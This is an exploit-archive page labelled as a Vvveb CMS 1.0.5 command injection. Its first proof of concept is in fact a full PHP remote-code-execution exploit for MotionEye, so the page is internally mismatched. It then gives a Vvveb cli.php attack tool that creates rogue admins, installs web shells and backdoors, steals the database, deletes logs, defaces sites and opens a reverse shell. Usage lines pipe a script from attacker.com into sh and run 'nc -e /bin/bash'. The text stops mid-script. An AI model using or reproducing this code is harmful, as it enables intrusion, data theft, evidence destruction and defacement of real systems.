Lucene search
K

📄 Vvveb CMS 1.0.5 Command Injection

🗓️ 11 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 102 Views

Vvveb CMS 1.0.5 enables authenticated command injection via image_file_name, causing remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Motioneye_Project Motioneye
28 Feb 202620:59
githubexploit
GithubExploit
Exploit for OS Command Injection in Motioneye_Project Motioneye
7 Mar 202608:45
githubexploit
GithubExploit
ofensive-playbook
16 Apr 202616:40
githubexploit
GithubExploit
Exploit for OS Command Injection in Motioneye_Project Motioneye
8 Mar 202601:47
githubexploit
GithubExploit
Exploit for OS Command Injection in Motioneye_Project Motioneye
8 Mar 202604:01
githubexploit
GithubExploit
Exploit for CVE-2025-60787
3 Oct 202515:20
githubexploit
GithubExploit
Exploit for Injection in Vvveb
29 Sep 202516:51
githubexploit
GithubExploit
Exploit for OS Command Injection in Motioneye_Project Motioneye
14 Mar 202611:16
githubexploit
GithubExploit
ffensive-playbook
16 Apr 202616:40
githubexploit
Circl
CVE-2025-60787
3 Oct 202515:26
circl
Rows per page
=============================================================================================================================================
    | # Title     : Vvveb CMS 1.0.5 RCE                                                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.vvveb.com/                                                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518
    
    [+] Summary    : Command Injection in Configuration Files - Unsanitized user input in the image_file_name parameter 
                     allows authenticated attackers to inject OS commands via $(command) syntax, leading to remote code execution.
    
    [+] POC :
    
    php motioneye_rce.php check https://target-motioneye.local
    
    php motioneye_rce.php check https://192.168.1.100 admin password123
    
    <?php
    
    
    class MotionEyeRCE {
        private $target;
        private $username;
        private $password;
        private $uri;
        private $cookies;
        private $timeout = 30;
        private $verify_ssl = false;
        private $camera_id;
        
        public function __construct($target, $username = 'admin', $password = '') {
            $this->target = rtrim($target, '/');
            $this->username = $username;
            $this->password = $password;
            $this->cookies = [];
            $this->camera_id = null;
        }
        
        /**
         * Clean string according to MotionEye's canonicalization rules
         */
        private function clean_string($data) {
            if ($data === null) {
                return '';
            }
            
            if (!is_string($data)) {
                $data = (string)$data;
            }
            
            // Regex from MotionEye source code
            $signature_regex = '/[^A-Za-z0-9\/?_.=&{}\[\]":, -]/';
            return preg_replace($signature_regex, '-', $data);
        }
        
        /**
         * Compute SHA1 signature for MotionEye requests
         */
        private function compute_signature($method, $path, $body = null, $key = '') {
            // Parse URL
            $parsed = parse_url($path);
            $path_only = $parsed['path'] ?? '';
            $query_str = $parsed['query'] ?? '';
            
            // Parse query parameters
            $query_params = [];
            if ($query_str) {
                parse_str($query_str, $query_params);
            }
            
            // Remove _signature parameter
            unset($query_params['_signature']);
            
            // Sort parameters alphabetically
            ksort($query_params);
            
            // Build canonical query string
            $canonical_query = '';
            foreach ($query_params as $k => $v) {
                if ($canonical_query !== '') {
                    $canonical_query .= '&';
                }
                $canonical_query .= $k . '=' . rawurlencode($v);
            }
            
            // Build canonical path
            $canonical_path = $path_only;
            if ($canonical_query !== '') {
                $canonical_path .= '?' . $canonical_query;
            }
            
            // Clean path and body
            $cleaned_path = $this->clean_string($canonical_path);
            $cleaned_body = $this->clean_string($body);
            
            // Compute key hash
            $key_hash = strtolower(sha1($key));
            
            // Build data to hash
            $data = $method . ':' . $cleaned_path . ':' . $cleaned_body . ':' . $key_hash;
            
            return strtolower(sha1($data));
        }
        
        /**
         * Generate timestamp in milliseconds
         */
        private function generate_timestamp_ms() {
            return (int)(microtime(true) * 1000);
        }
        
        /**
         * Send HTTP request with MotionEye signature
         */
        private function send_signed_request($method, $path, $data = null, $headers = []) {
            $url = $this->target . $path;
            
            // Add required GET parameters
            $get_params = [
                '_username' => $this->username,
                '_' => $this->generate_timestamp_ms()
            ];
            
            // Parse existing query string if present
            $parsed = parse_url($url);
            $base_url = $parsed['scheme'] . '://' . $parsed['host'] . ($parsed['port'] ? ':' . $parsed['port'] : '') . $parsed['path'];
            $existing_query = [];
            
            if (isset($parsed['query'])) {
                parse_str($parsed['query'], $existing_query);
                $get_params = array_merge($get_params, $existing_query);
            }
            
            // Build query string
            $query_str = http_build_query($get_params);
            $path_with_query = $parsed['path'] . '?' . $query_str;
            
            // Compute signature
            $signature = $this->compute_signature(
                strtoupper($method),
                $path_with_query,
                $data,
                $this->password
            );
            
            // Add signature to query parameters
            $get_params['_signature'] = $signature;
            $query_str = http_build_query($get_params);
            
            // Build final URL
            $final_url = $base_url . '?' . $query_str;
            
            // Prepare request
            $ch = curl_init();
            
            $options = [
                CURLOPT_URL => $final_url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_MAXREDIRS => 5,
                CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
                CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
                CURLOPT_HEADER => true,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                CURLOPT_HTTPHEADER => array_merge([
                    'Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'Accept-Language: en-US,en;q=0.5',
                    'Connection: close'
                ], $headers)
            ];
            
            if (strtoupper($method) === 'POST') {
                $options[CURLOPT_POST] = true;
                if ($data !== null) {
                    $options[CURLOPT_POSTFIELDS] = $data;
                    
                    // Detect content type
                    if (is_array($data)) {
                        $options[CURLOPT_POSTFIELDS] = http_build_query($data);
                        $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded';
                    } else {
                        $options[CURLOPT_POSTFIELDS] = $data;
                        if (json_decode($data) !== null) {
                            $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/json';
                        }
                    }
                }
            }
            
            // Add cookies if any
            if (!empty($this->cookies)) {
                $cookie_str = '';
                foreach ($this->cookies as $name => $value) {
                    $cookie_str .= $name . '=' . $value . '; ';
                }
                $options[CURLOPT_COOKIE] = rtrim($cookie_str, '; ');
            }
            
            curl_setopt_array($ch, $options);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $error = curl_error($ch);
            
            curl_close($ch);
            
            if ($response === false) {
                throw new Exception("cURL error: " . $error);
            }
            
            $headers = substr($response, 0, $header_size);
            $body = substr($response, $header_size);
            
            // Extract and store cookies
            preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
            foreach ($matches[1] as $cookie) {
                $parts = explode('=', $cookie, 2);
                if (count($parts) == 2) {
                    $this->cookies[$parts[0]] = $parts[1];
                }
            }
            
            return [
                'code' => $http_code,
                'headers' => $headers,
                'body' => $body
            ];
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            try {
                $ch = curl_init($this->target);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => $this->timeout,
                    CURLOPT_SSL_VERIFYPEER => $this->verify_ssl,
                    CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
                ]);
                
                $response = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($http_code !== 200) {
                    return ['vulnerable' => false, 'message' => 'Target not reachable or not MotionEye'];
                }
                
                // Look for motionEye version
                if (preg_match('/motionEye Version.*?<span[^>]*>([^<]+)</', $response, $matches)) {
                    $version = trim($matches[1]);
                    $clean_version = preg_replace('/[a-zA-Z]/', '', $version);
                    
                    if (version_compare($clean_version, '0.43.15', '<')) {
                        return [
                            'vulnerable' => true,
                            'message' => "Vulnerable version detected: $version",
                            'version' => $version
                        ];
                    } else {
                        return [
                            'vulnerable' => 'unknown',
                            'message' => "Newer version detected: $version. Check release notes.",
                            'version' => $version
                        ];
                    }
                }
                
                return ['vulnerable' => false, 'message' => 'MotionEye version not found'];
                
            } catch (Exception $e) {
                return ['vulnerable' => false, 'message' => 'Error: ' . $e->getMessage()];
            }
        }
        
        /**
         * Add a camera to MotionEye
         */
        private function add_camera() {
            echo "[+] Adding malicious camera...\n";
            
            $data = json_encode([
                'scheme' => 'rstp',
                'host' => $this->generate_ip(),
                'port' => '',
                'path' => '/',
                'username' => '',
                'proto' => 'netcam'
            ]);
            
            $response = $this->send_signed_request(
                'POST',
                '/config/add/',
                $data,
                ['Content-Type: application/json']
            );
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to add camera. HTTP {$response['code']}");
            }
            
            $json = json_decode($response['body'], true);
            if (!$json || !isset($json['id'])) {
                throw new Exception("Invalid response when adding camera");
            }
            
            $this->camera_id = $json['id'];
            echo "[+] Camera added successfully (ID: {$this->camera_id})\n";
            
            return $this->camera_id;
        }
        
        /**
         * Configure camera with payload
         */
        private function configure_camera($payload) {
            echo "[+] Configuring camera with payload...\n";
            
            $camera_name = 'cam_' . bin2hex(random_bytes(4));
            $config = [
                'enabled' => true,
                'name' => $camera_name,
                'proto' => 'netcam',
                'auto_brightness' => false,
                'rotation' => [0, 90, 180, 270][rand(0, 3)],
                'framerate' => rand(2, 30),
                'privacy_mask' => false,
                'storage_device' => 'custom-path',
                'root_directory' => "/var/lib/motioneye/{$camera_name}",
                'upload_enabled' => false,
                'upload_picture' => false,
                'upload_movie' => false,
                'upload_service' => ['ftp', 'sftp', 'webdav'][rand(0, 2)],
                'upload_method' => ['post', 'put'][rand(0, 1)],
                'upload_subfolders' => false,
                'web_hook_storage_enabled' => false,
                'command_storage_enabled' => false,
                'text_overlay' => false,
                'text_scale' => rand(1, 3),
                'video_streaming' => false,
                'streaming_framerate' => rand(5, 30),
                'streaming_quality' => rand(50, 95),
                'streaming_resolution' => rand(50, 95),
                'streaming_server_resize' => false,
                'streaming_port' => '9081',
                'streaming_auth_mode' => 'disabled',
                'streaming_motion' => false,
                'still_images' => true,
                'image_file_name' => "$({$payload})",  // Payload injection point
                'image_quality' => rand(50, 95),
                'capture_mode' => 'manual',
                'preserve_pictures' => '0',
                'manual_snapshots' => true,
                'movies' => false,
                'movie_file_name' => '%Y-%m-%d/%H-%M-%S',
                'movie_quality' => rand(50, 95),
                'movie_format' => 'mp4 => h264_v4l2m2m',
                'movie_passthrough' => false,
                'recording_mode' => 'motion-triggered',
                'max_movie_length' => '0',
                'preserve_movies' => '0',
                'motion_detection' => false,
                'frame_change_threshold' => '0.' . rand(1000000000000000, 9999999999999999),
                'max_frame_change_threshold' => rand(0, 1),
                'auto_threshold_tuning' => false,
                'auto_noise_detect' => false,
                'noise_level' => rand(10, 32),
                'light_switch_detect' => '0',
                'despeckle_filter' => false,
                'event_gap' => rand(5, 30),
                'pre_capture' => rand(1, 5),
                'post_capture' => rand(1, 5),
                'minimum_motion_frames' => rand(20, 30),
                'motion_mask' => false,
                'show_frame_changes' => false,
                'create_debug_media' => false,
                'email_notifications_enabled' => false,
                'telegram_notifications_enabled' => false,
                'web_hook_notifications_enabled' => false,
                'web_hook_end_notifications_enabled' => false,
                'command_notifications_enabled' => false,
                'command_end_notifications_enabled' => false,
                'working_schedule' => false,
                'resolution' => ['320x240', '640x480', '1280x720'][rand(0, 2)]
            ];
            
            $data = json_encode([$this->camera_id => $config]);
            
            $response = $this->send_signed_request(
                'POST',
                '/config/0/set/',
                $data,
                ['Content-Type: application/json']
            );
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to configure camera. HTTP {$response['code']}");
            }
            
            echo "[+] Camera configured with payload\n";
        }
        
        /**
         * Trigger the exploit by taking a snapshot
         */
        private function trigger_exploit() {
            echo "[+] Triggering exploit...\n";
            
            $response = $this->send_signed_request(
                'POST',
                "/action/{$this->camera_id}/snapshot/",
                'null',
                ['Content-Type: application/json']
            );
            
            if ($response['code'] !== 200) {
                throw new Exception("Failed to trigger exploit. HTTP {$response['code']}");
            }
            
            echo "[+] Exploit triggered\n";
        }
        
        /**
         * Remove the camera
         */
        private function remove_camera() {
            if (!$this->camera_id) {
                return;
            }
            
            echo "[+] Removing camera...\n";
            
            try {
                $response = $this->send_signed_request(
                    'POST',
                    "/config/{$this->camera_id}/rem/",
                    'null',
                    ['Content-Type: application/json']
                );
                
                if ($response['code'] === 200) {
                    echo "[+] Camera removed successfully\n";
                }
            } catch (Exception $e) {
                echo "[-] Error removing camera: " . $e->getMessage() . "\n";
            }
            
            $this->camera_id = null;
        }
        
        /**
         * Generate random IP address
         */
        private function generate_ip() {
            return rand(1, 254) . '.' . rand(0, 254) . '.' . rand(0, 254) . '.' . rand(1, 254);
        }
        
        /**
         * Execute exploit
         */
        public function exploit($payload) {
            try {
                // Check target first
                $check = $this->check();
                if (!$check['vulnerable']) {
                    echo "[-] Target appears not to be vulnerable: " . $check['message'] . "\n";
                    return false;
                }
                
                echo "[+] Target appears to be vulnerable\n";
                
                // Add camera
                $this->add_camera();
                
                // Configure with payload
                $this->configure_camera($payload);
                
                // Trigger exploit
                $this->trigger_exploit();
                
                echo "[+] Exploit completed. Check for callback.\n";
                
                return true;
                
            } catch (Exception $e) {
                echo "[-] Exploit failed: " . $e->getMessage() . "\n";
                
                // Clean up
                $this->remove_camera();
                
                return false;
            }
        }
        
        /**
         * Clean up resources
         */
        public function cleanup() {
            $this->remove_camera();
        }
        
        public function __destruct() {
            $this->cleanup();
        }
    }
    
    /**
     * Command-line interface
     */
    if (php_sapi_name() === 'cli') {
        if ($argc < 2) {
            echo "MotionEye RCE Exploit (CVE-2025-60787)\n";
            echo "Usage:\n";
            echo "  php {$argv[0]} check <url> [username] [password]\n";
            echo "  php {$argv[0]} exploit <url> <payload> [username] [password]\n";
            echo "\nExamples:\n";
            echo "  php {$argv[0]} check https://192.168.1.100\n";
            echo "  php {$argv[0]} exploit https://192.168.1.100 'curl http://attacker.com/shell.sh|sh'\n";
            echo "  php {$argv[0]} exploit https://192.168.1.100 'nc -e /bin/bash 192.168.1.50 4444' admin password123\n";
            exit(1);
        }
        
        $command = $argv[1];
        $url = $argv[2] ?? '';
        
        if ($command === 'check') {
            $username = $argv[3] ?? 'admin';
            $password = $argv[4] ?? '';
            
            $exploit = new MotionEyeRCE($url, $username, $password);
            $result = $exploit->check();
            
            echo "Target: $url\n";
            echo "Status: " . $result['message'] . "\n";
            if (isset($result['version'])) {
                echo "Version: " . $result['version'] . "\n";
            }
            
        } elseif ($command === 'exploit') {
            $payload = $argv[3] ?? '';
            $username = $argv[4] ?? 'admin';
            $password = $argv[5] ?? '';
            
            if (!$payload) {
                echo "[-] Payload required for exploit command\n";
                exit(1);
            }
            
            $exploit = new MotionEyeRCE($url, $username, $password);
            $exploit->exploit($payload);
            
        } else {
            echo "[-] Unknown command: $command\n";
            exit(1);
        }
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================
    
    
    
    Rediscovered to still affect version 1.0.7.3 per the researcher:
    
    
    =============================================================================================================================================
    | # Title     : Vvveb CMS 1.0.7.3 CLI.php Remote Code Execution Exploit                                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.vvveb.com/update.json                                                                                           |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518
    
    [+] Summary    : The Vvveb CMS CLI tool (cli.php) contains critical security flaws when accessible via web:
    
        Authentication Bypass: Automatically logs in as Super Admin when accessed with admin parameter
    
        Unfiltered Input: Accepts arbitrary GET/POST parameters directly from command line/web requests
    
        No Authorization Checks: Allows execution of any administrative function without verification
    
    [+] Exploitation Methods
    
    Remote Access via Web (Misconfiguration)
    
    # Direct URL access to cli.php
    
    https://target.com/cli.php?admin&module=user/users&action=save&user[email][email protected]&user[role_id]=1
    
    # Using discovered cli.php paths
    
    https://target.com/admin/cli.php?admin&module=tools/cache&action=delete
    
    Local Server Access (Common)
    bash
    
    # With shell access to server
    
    php cli.php admin module=user/users action=save user[email][email protected] user[password]=hacked123
    
    # Full control operations
    
    php cli.php admin module=plugin/plugins action=install url=http://malicious.com/backdoor.zip
    php cli.php admin module=content/posts action=delete post_id=all
    
    [+] POC : php poc.php
    
    <?php
    /*
     * Vvveb CLI Exploiter - Multi-Function Attack Tool
     * Author: Security Researcher
     * Warning: For authorized testing only
     */
    
    error_reporting(0);
    set_time_limit(0);
    
    class VvvebExploiter {
        private $target;
        private $output = [];
        private $cli_paths = [
            '/cli.php',
            '/vvveb/cli.php',
            '/admin/cli.php',
            '/public/cli.php',
            '/system/cli.php'
        ];
        
        public function __construct($target) {
            $this->target = rtrim($target, '/');
        }
        
        // 1. Discover cli.php file
        public function discover() {
            $this->log("🔍 Discovering cli.php paths...");
            
            foreach ($this->cli_paths as $path) {
                $url = $this->target . $path;
                try {
                    $response = $this->http_request($url);
                    if (strpos($response, 'Usage cli.php') !== false || 
                        strpos($response, 'vvveb') !== false) {
                        $this->log("[✅] Found cli.php at: " . $url);
                        return $url;
                    }
                } catch (Exception $e) {
                    continue;
                }
            }
            
            // Try automatic discovery
            $this->log("[🔄] Scanning common paths...");
            $common_paths = $this->bruteforce_paths();
            
            foreach ($common_paths as $path) {
                $url = $this->target . $path;
                if (@file_get_contents($url, false, null, 0, 100)) {
                    $this->log("[⚠️] Potential path: " . $url);
                }
            }
            
            return false;
        }
        
        // 2. Full exploitation via cli.php
        public function full_exploit($cli_url) {
            $this->log("\n💀 Starting full exploitation...\n");
            
            // A. Clear cache
            $this->log("[1] Clearing cache...");
            $this->execute($cli_url, 'admin', 'tools/cache', 'delete');
            
            // B. Create admin user
            $this->log("[2] Creating admin user...");
            $user_data = [
                'user[email]' => 'admin_hack_' . rand(1000,9999) . '@evil.com',
                'user[password]' => 'P@ssw0rd' . rand(100,999),
                'user[role_id]' => 1,
                'user[username]' => 'hacker' . rand(1,100)
            ];
            $this->execute($cli_url, 'admin', 'user/users', 'save', $user_data);
            
            // C. Upload web shell
            $this->log("[3] Uploading web shell...");
            $shell_url = 'http://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/simple.php';
            $this->execute($cli_url, 'admin', 'plugin/plugins', 'install', ['url' => $shell_url]);
            
            // D. Create backdoor
            $this->log("[4] Creating backdoor...");
            $backdoor_code = base64_encode('<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);}?>');
            $this->execute($cli_url, 'admin', 'content/posts', 'save', [
                'post[title]' => 'Normal Post',
                'post[content]' => '<?php eval(base64_decode("' . $backdoor_code . '")); ?>',
                'post[status]' => 'published',
                'post[slug]' => 'shell_' . rand(1000,9999) . '.php'
            ]);
            
            // E. Get system info
            $this->log("[5] Gathering system information...");
            $this->execute($cli_url, 'admin', 'system/info', 'view');
            
            // F. Change site settings
            $this->log("[6] Changing site settings...");
            $this->execute($cli_url, 'admin', 'system/settings', 'save', [
                'setting[site_title]' => 'HACKED BY SECURITY TEAM',
                'setting[maintenance]' => 1
            ]);
            
            $this->log("\n🎯 Exploitation complete!");
            return true;
        }
        
        // 3. Create web shell
        public function create_webshell($cli_url, $path = '/uploads/shell.php') {
            $this->log("[+] Creating web shell at: " . $path);
            
            $shell_code = '<?php
    // Vvveb Web Shell
    error_reporting(0);
    if(isset($_REQUEST["cmd"])){
        echo "<pre>";
        system($_REQUEST["cmd"]);
        echo "</pre>";
        die();
    }
    if(isset($_FILES["file"])){
        move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
        echo "Uploaded: ".$_FILES["file"]["name"];
        die();
    }
    echo \'<form method="post" enctype="multipart/form-data">
    <input type="file" name="file"><input type="submit">
    </form>\';
    ?>';
            
            // Try multiple methods
            $methods = [
                // Method 1: Via backup restore
                ['module' => 'tools/backup', 'action' => 'restore', 'params' => [
                    'backup' => 'data:text/plain;base64,' . base64_encode($shell_code),
                    'path' => $path
                ]],
                
                // Method 2: Via file upload
                ['module' => 'tools/import', 'action' => 'upload', 'params' => [
                    'file[]' => 'data:text/plain;base64,' . base64_encode($shell_code)
                ]],
                
                // Method 3: Via post creation
                ['module' => 'content/posts', 'action' => 'save', 'params' => [
                    'post[title]' => 'Shell',
                    'post[content]' => $shell_code,
                    'post[status]' => 'published',
                    'post[slug]' => 'shell.php'
                ]]
            ];
            
            foreach ($methods as $method) {
                $this->execute($cli_url, 'admin', $method['module'], $method['action'], $method['params']);
                sleep(1);
            }
        }
        
        // 4. Dump database
        public function dump_database($cli_url) {
            $this->log("[+] Dumping database...");
            
            // Create backup
            $this->execute($cli_url, 'admin', 'tools/backup', 'create', [
                'filename' => 'db_dump_' . date('Y-m-d') . '.sql'
            ]);
            
            // Try to download it
            $backup_paths = [
                '/db_dump_' . date('Y-m-d') . '.sql',
                '/backup/db_dump_' . date('Y-m-d') . '.sql',
                '/system/storage/backup/db_dump_' . date('Y-m-d') . '.sql',
                '/public/backup/db_dump_' . date('Y-m-d') . '.sql'
            ];
            
            foreach ($backup_paths as $path) {
                $url = $this->target . $path;
                $content = $this->http_request($url);
                if ($content && strlen($content) > 100 && strpos($content, 'CREATE TABLE') !== false) {
                    file_put_contents('stolen_database.sql', $content);
                    $this->log("[✅] Database stolen: " . strlen($content) . " bytes");
                    return true;
                }
            }
            
            return false;
        }
        
        // 5. Delete logs
        public function delete_logs($cli_url) {
            $this->log("[+] Deleting system logs...");
            
            $logs = [
                '/var/log/apache2/access.log',
                '/var/log/apache2/error.log',
                '/var/log/nginx/access.log',
                '/storage/logs/',
                '/system/logs/',
                '/logs/'
            ];
            
            foreach ($logs as $log) {
                $this->execute($cli_url, 'admin', 'tools/cache', 'delete', ['path' => $log]);
            }
            
            // Disable logging
            $this->execute($cli_url, 'admin', 'system/settings', 'save', [
                'setting[log_enabled]' => 0
            ]);
        }
        
        // 6. Deface site - FIXED LINE 185
        public function deface_site($cli_url) {
            $this->log("[💀] Defacing website...");
            
            $deface_html = '<!DOCTYPE html>
    <html><head><title>HACKED</title></head>
    <body style="background:black;color:red;text-align:center;">
    <h1>🔓 SITE HACKED 🔓</h1>
    <h2>Security Vulnerability Found</h2>
    <p>Vvveb CMS cli.php exposed</p>
    </body></html>';
            
            // Update homepage
            $this->execute($cli_url, 'admin', 'content/pages', 'save', [
                'page[title]' => 'HACKED',
                'page[content]' => $deface_html,
                'page[slug]' => 'index',
                'page[status]' => 'published'
            ]);
            
            // Direct file modification
            $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [
                'backup' => 'data:text/html,' . urlencode($deface_html),
                'path' => '/index.php'
            ]);
        }
        
        // 7. Network scan
        public function scan_network($cli_url) {
            $this->log("[🌐] Scanning internal network...");
            
            $subnets = ['192.168.1.', '10.0.0.', '172.16.0.'];
            $ports = [80, 443, 8080, 3306, 22, 21, 25];
            
            foreach ($subnets as $subnet) {
                for ($i = 1; $i < 10; $i++) { // First 10 IPs only
                    $ip = $subnet . $i;
                    $this->execute($cli_url, 'admin', 'tools/ping', 'check', [
                        'host' => $ip,
                        'ports' => implode(',', $ports)
                    ]);
                }
            }
        }
        
        // 8. Reverse shell
        public function reverse_shell($cli_url, $lhost, $lport = 4444) {
            $this->log("[⚡] Setting up reverse shell to $lhost:$lport");
            
            $php_reverse_shell = '<?php
    $sock=fsockopen("' . $lhost . '",' . $lport . ');
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
    ?>';
            
            $this->execute($cli_url, 'admin', 'content/posts', 'save', [
                'post[title]' => 'Reverse Shell',
                'post[content]' => $php_reverse_shell,
                'post[status]' => 'published',
                'post[slug]' => 'revshell_' . rand(1000,9999) . '.php'
            ]);
            
            $this->log("[!] Start listener: nc -lvnp $lport");
        }
        
        // 9. Execute custom command
        public function execute_command($cli_url, $command) {
            $this->log("[⌨️] Executing: $command");
            
            // Encode command in PHP file
            $cmd_php = '<?php system("' . addslashes($command) . '"); ?>';
            
            return $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [
                'backup' => 'data:text/plain;base64,' . base64_encode($cmd_php),
                'path' => '/tmp/cmd_' . rand(1000,9999) . '.php'
            ]);
        }
        
        // Helper: Execute command via cli.php
        private function execute($cli_url, $app, $module, $action, $params = []) {
            $url = $cli_url . '?' . $app . '&module=' . $module . '&action=' . $action;
            
            if (!empty($params)) {
                $url .= '&' . http_build_query($params);
            }
            
            try {
                $response = $this->http_request($url);
                
                if (strpos($response, 'error') === false && !empty($response)) {
                    $this->log("[✅] Success: $module/$action");
                    
                    // Save important results
                    if (strpos($response, 'password') !== false || 
                        strpos($response, 'email') !== false ||
                        strpos($response, 'INSERT INTO') !== false ||
                        strlen($response) < 5000) {
                        file_put_contents('results.txt', "\n=== $module/$action ===\n$response\n", FILE_APPEND);
                    }
                    
                    return $response;
                }
            } catch (Exception $e) {
                $this->log("[❌] Failed: $module/$action - " . $e->getMessage());
            }
            
            return false;
        }
        
        private function http_request($url, $timeout = 10) {
            // Try cURL first
            if (function_exists('curl_init')) {
                $ch = curl_init();
                curl_setopt_array($ch, [
                    CURLOPT_URL => $url,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => $timeout,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false,
                    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                ]);
                
                $response = curl_exec($ch);
                if (curl_errno($ch)) {
                    throw new Exception('cURL error: ' . curl_error($ch));
                }
                
                curl_close($ch);
                return $response;
            }
            
            // Fallback to file_get_contents
            $context = stream_context_create([
                'http' => [
                    'timeout' => $timeout,
                    'header' => "User-Agent: Mozilla/5.0\r\n"
                ],
                'ssl' => [
                    'verify_peer' => false,
                    'verify_peer_name' => false
                ]
            ]);
            
            $response = @file_get_contents($url, false, $context);
            if ($response === false) {
                throw new Exception('HTTP request failed');
            }
            
            return $response;
        }
        
        private function bruteforce_paths() {
            $paths = [];
            
            // Common paths
            for ($i = 0; $i < 100; $i++) {
                $paths[] = '/vvveb' . $i . '/cli.php';
                $paths[] = '/admin' . $i . '/cli.php';
            }
            
            // Dynamic discovery
            $common_dirs = ['app', 'system', 'public', 'admin', 'vvveb', 'cms', 'web', 'install'];
            foreach ($common_dirs as $dir) {
                $paths[] = "/$dir/cli.php";
                $paths[] = "/$dir/../cli.php";
            }
            
            return $paths;
        }
        
        private function log($message) {
            echo $message . "\n";
            $this->output[] = $message;
        }
        
        public function save_report() {
            $report = implode("\n", $this->output);
            file_put_contents('exploit_report.txt', $report);
            $this->log("[📄] Report saved: exploit_report.txt");
        }
        
        public function get_output() {
            return $this->output;
        }
    }
    
    // ===============================
    // Main Interface
    // ===============================
    
    function display_help() {
        echo "========================================\n";
        echo "    Vvveb CLI Exploiter \n";
        echo "    By indoushka\n";
        echo "========================================\n\n";
        
        echo "Usage: php exploit.php <target_url> [options]\n\n";
        echo "Options:\n";
        echo "  --discover         Discover cli.php only\n";
        echo "  --full             Full exploitation\n";
        echo "  --shell            Create web shell\n";
        echo "  --dbdump           Dump database\n";
        echo "  --clean            Delete logs\n";
        echo "  --deface           Deface website\n";
        echo "  --reverse <IP:PORT> Setup reverse shell\n";
        echo "  --cmd \"command\"    Execute system command\n";
        echo "  --auto             Everything automatic\n";
        echo "  --help             Show this help\n\n";
        
        echo "Examples:\n";
        echo "  php exploit.php https://target.com --discover\n";
        echo "  php exploit.php https://target.com --full\n";
        echo "  php exploit.php https://target.com --reverse 192.168.1.100:4444\n";
        echo "  php exploit.php https://target.com --cmd \"whoami\"\n";
    }
    
    // Main execution
    if ($argc < 2 || in_array($argv[1], ['--help', '-h'])) {
        display_help();
        exit(1);
    }
    
    $target = $argv[1];
    $option = $argv[2] ?? '--auto';
    
    echo "\n";
    echo "========================================\n";
    echo "Target: $target\n";
    echo "Mode: $option\n";
    echo "========================================\n";
    
    $exploiter = new VvvebExploiter($target);
    
    // Discover cli.php first
    echo "\n[1/3] Discovery phase...\n";
    $cli_url = $exploiter->discover();
    
    if (!$cli_url) {
        echo "[❌] cli.php not found\n";
        
        // Try default locations
        $default_urls = [
            $target . '/cli.php',
            $target . '/admin/cli.php',
            $target . '/vvveb/cli.php'
        ];
        
        foreach ($default_urls as $url) {
            echo "[?] Trying: $url\n";
        }
        
        exit(1);
    }
    
    echo "[✅] cli.php found: $cli_url\n";
    
    // Execute based on option
    echo "\n[2/3] Execution phase...\n";
    
    switch ($option) {
        case '--discover':
            echo "[ℹ️] Discovery completed\n";
            break;
            
        case '--full':
            $exploiter->full_exploit($cli_url);
            break;
            
        case '--shell':
            $exploiter->create_webshell($cli_url);
            break;
            
        case '--dbdump':
            $exploiter->dump_database($cli_url);
            break;
            
        case '--clean':
            $exploiter->delete_logs($cli_url);
            break;
            
        case '--deface':
            $exploiter->deface_site($cli_url);
            break;
            
        case '--reverse':
            if ($argc < 4) {
                echo "[❌] Missing IP:PORT for reverse shell\n";
                echo "Usage: --reverse 192.168.1.100:4444\n";
                exit(1);
            }
            list($lhost, $lport) = explode(':', $argv[3]);
            $exploiter->reverse_shell($cli_url, $lhost, $lport);
            break;
            
        case '--cmd':
            if ($argc < 4) {
                echo "[❌] Missing command\n";
                exit(1);
            }
